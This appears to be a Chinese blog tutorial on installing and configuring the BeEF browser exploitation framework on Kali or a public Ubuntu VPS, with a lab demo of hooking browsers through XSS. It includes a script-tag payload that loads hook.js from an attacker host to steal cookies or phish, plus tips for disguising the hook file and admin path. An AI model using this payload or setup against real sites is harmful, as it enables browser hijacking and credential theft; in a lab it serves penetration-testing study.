xss利用——BeEF#stage1
全文概览
简介
BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护。是由ruby语言开发的专门针对浏览器攻击的框架。BeEF的总体思路就是在内网下通过arp欺骗,修改response包,加入我们的钩子。这个框架也属于cs的结构,具体可以看下图。
zombie(僵尸)即受害的浏览器。zombie是被hook(勾连)的,如果浏览器访问了有勾子(由js编写)的页面,就会被hook,勾连的浏览器会执行初始代码返回一些信息,接着zombie会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用,被分为前端UI, 和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。
kali已经把beef-xss做成服务了,推荐使用systemctl 命令来启动或关闭beef服务器
- systemctl start beef-xss.service #开启beef
- systemctl stop beef-xss.service #关闭beef
- systemctl restart beef-xss.service #重启beef
公网安装
在公网Ubuntu17下安装beef
- 首先在vps中,初始用户一般是root。root是没法安装某些ruby的一些扩展包(考虑到安全问题),所以需要一个降权的用户。
- #创建一个beef的用户
- useradd -m -d /home/beef -s /bin/bash beef
- #设置beef的密码,最好使用强密码
- passwd beef
- #把beef用户加入sudo, root 组
- usermod -aG root,sudo beef
- #转到beef用户
- su beef
- 接着就是安装beef了
- #进入家目录
- cd
- #获取源文件
- wget https://github.com/beefproject/beef/archive/master.zip
- sudo apt update && sudo apt upgrade -y && sudo apt install unzip ruby ruby-dev -y
- #解压master.zip
- unzip master.zip
- cd beef-master
- #安装beef
- ./install
- 笔者在安装过程中遇到/var/lib/gems/2.3.0, /usr/local/bin 这两个目录没有写权限的错误,下面是解决方法
- sudo chmod g+w /var/lib/gems/2.3.0
- sudo chmod g+w /usr/local/bin
- #再次运行
- ./install
- 把beef从sudo, root 组中移除
- #运行
- sudo chmod g-w /var/lib/gems/2.3.0 && sudo chmod g-w /usr/local/bin
- sudo gpasswd -d beef root && gpasswd -d beef sudo
- 最后运行beef, 建议别使用root来运行beef服务器, 既然已经创建了一个id为beef的用户,那么以后都以这个用户来运行beef服务器会更好。
- #进入beef所在目录
- cd /home/beef/beef-master
- #以后台模式运行beef服务器,且即使ssh断开了,也不影响beef 服务器。
- nohup ./beef &
配置
kali下的BeEF配置文件在 /usr/share/beef-xss/config.yaml,其它的配置文件也在这个目录的子目录下,往后在使用某些功能时,需要修改对应的配置文件。自主安装的BeEF配置文件会在BeEF的主目录下config.yaml,建议修改几个地方:
- ### 指定某个网段,只有在这个网段的浏览器才能被hook
- permitted_hooking_subnet: "0.0.0.0/0"
- ### 指定某个网段,只有在这个网段的浏览器才能访问管理UI
- permitted_ui_subnet: "0.0.0.0/0"
- ### 上面这两项都是可以被绕过的,只要使用X-Forwarded-For首部绕过,一般不需要设置
- ### 设置beef服务器的主机, 如果有自己的域名, 那么可以设置自己的域名, 没有就使用默认
- host: "0.0.0.0"
- ### 设置beef服务器监听的端口, 可以自己定一个,比如8080, 记得端口号需要大于1024
- port: "3000"
- ### 受害浏览器轮询beef主机的时间, 默认为1秒,可以设置为更低。
- xhr_poll_timeout: 1000
- #public: "" # public hostname/IP address
- #public_port: "" # experimental
- ### 这是让BeEF运行在一个反向代理或者NAT环境下才需要设置的。
- ### 管理页面的URI, 默认是/ui, 建议修改,这样就不会让别人找到你的管理页面
- web_ui_basepath: "/ui"
- ### hook_file 的名称, 建议修改, 可以修改为jquery.js之类的来提升隐蔽性
- hook_file: "/hook.js"
- ### 管理页面登录的用户名和密码, 这个一定要改,两个都改是最好的
- credentials:
- user: "beef"
- passwd: "beef"
默认无法使用msf模块,因此还需要作如下配置连接msf。
注:host不可用127.0.0.1
启动msf
挂马(初始控制)
启动kali beef端(IP:192.168.187.149)
如果一个网站有XSS漏洞,然后你通过某种方式把你的payload(<script src="http://Attacker IP:3000/hook.js"></script>)发到这个有XSS漏洞的页面,受害者点击或者直接访问那个界面时,就会不断请求Attacker端的hook.js,以此实现盗cookie/钓鱼等操作。
Win2003(IP:192.168.187.148)的WWW主目录下有一网页1.html。
本地访问
主机访问
回到Attacker端,可以看见虚拟机win2003和主机win10都已上钩
参考文章
https://blog.csdn.net/Fly_hps/article/details/81940388
https://blog.csdn.net/m0_37268841/article/details/80091615
xss利用——BeEF#stage1的更多相关文章
- xss利用——BeEF#stage4(其余功能介绍)
目录 信息收集 => 社会工程 =>网络扫描 => 结合metasploit => tunneling => xss => 维持权限 功能介绍 #1 - 信息收集 ...
- xss利用——BeEF#stage2(初始并持续化控制)
全文概览 浏览器攻击方法流程 攻击浏览器一般分为几个阶段,如下图 整个过程分为三个步骤,第一步是初始化控制,第二步是持续控制,第三步是攻击.在第三步中的七个攻击方法是可以交叉的,比如可以同时攻击用户和 ...
- xss利用——BeEF#stage3(绕过同源策略与浏览器代理)
绕过同源策略 正式进入攻击阶段.因为SOP(同源策略)的存在,BeEF只能对被勾子钩住的页面所在域进行操作.如果有办法绕过SOP,那么无疑会使攻击面放大. 绕过SOP可从两方面入手.第一个是从浏览器本 ...
- 利用Beef劫持客户端浏览器
利用Beef劫持客户端浏览器 环境: 1.Kali(使用beef生成恶意代码,IP:192.168.114.140) 2.一台web服务器(留言板存在XSS跨站脚本漏洞,IP:192.168.11 ...
- xss利用和检测平台
xssing 是安全研究者Yaseng发起的一个基于 php+mysql的 网站 xss 利用与检测开源项目,可以对你的产品进行黑盒xss安全测试,可以兼容获取各种浏览器客户端的网站url,cooki ...
- 漏洞利用:验证绕过,XSS利用,Cookic盗用,文件上传
1. 文件上传 低级别 写好上传的内容 选择好上传的文件 上传成功. 测试:访问文件,执行代码 中级别 修改文件后缀为png 上传该文件 抓包修改文件后缀为php,然后允许数据包通过. 上传 ...
- xss利用
xss盗取cookie 什么是cookie cookie是曲奇饼,啊开个玩笑,cookie是每个用户登录唯一id和账号密码一样可以登录到网站,是的你没有听错cookie可以直接登录,至于服务器怎么设置 ...
- 利用BeEF REST API自动化控制僵尸主机
本文首发Freebuf,属于原创奖励计划,未经许可禁止转载. http://www.freebuf.com/articles/network/137662.html 一. 前言 关于BeEF,不再多介 ...
- XSS之Beef的使用
0x01 Beef简介 BeEF是The Browser Exploitation Framework的缩写.它是一种专注于Web浏览器的渗透测试工具. beef管理.挂钩web浏览器的过程: 生成交 ...
随机推荐
- python读文件出现错误解决方法
python读文件经常会出现 UnicodeDecodeError: 'gbk' codec can't decode byte 0xbd in position 764: illegal multi ...
- Answers for Q1 and Q2
A1: 1. enetity-data model mapping: 2. database design 2.1 sql create table A_manufacturer_info(manu ...
- 微信小程序自动化
解析微信小程序 注意:若上面方法不行就使用下面的 小程序对应的chrome驱动版本包,2.4版本的
- 使用 C# 捕获进程输出
使用 C# 捕获进程输出 Intro 很多时候我们可能会需要执行一段命令获取一个输出,遇到的比较典型的就是之前我们需要用 FFMpeg 实现视频的编码压缩水印等一系列操作,当时使用的是 FFMpegC ...
- CRMEB单商户商城系统v4.0源码,含前端uni-app源码
CRMEB商城系统是基于ThinkPhp6.0+Vue开发的一套新零售移动电商系统,CRMEB系统就是集客户关系管理+营销电商系统,能够快速积累客户.会员数据分析.智能转化客户. 有效提高销售.会员维 ...
- laravel5学习并搭建网站【更新至2020-09-03】
之前一直不清楚 php artisan 要如何使用,有朋友推荐使用phpstorm可以进行命令行执行, 现在发现其实如果真的不喜欢phpstorm的加载缓慢,可以试试计算机原有的命令行 记住需要跳转到 ...
- Construct a Matrix (矩阵快速幂+构造)
There is a set of matrixes that are constructed subject to the following constraints: 1. The matrix ...
- Funny Positive Sequence (思维+前缀)
There are n integers a 1,a 2,…,a n-1,a n in the sequence A, the sum of these n integers is larger th ...
- leetcode-双指针遍历
编写一个函数,其作用是将输入的字符串反转过来.输入字符串以字符数组 char[] 的形式给出.不要给另外的数组分配额外的空间,你必须原地修改输入数组.使用 O(1) 的额外空间解决这一问题.你可以假设 ...
- 用安卓 WebView 做一个“套壳”应用
前言 目前手机应用市场上的 APP 类型主要为以下两种: Native App(原生应用):直接针对平台(Android.iOS 等手机系统)进行开发,属于性能最优的方案,也是开发成本最大的方案. H ...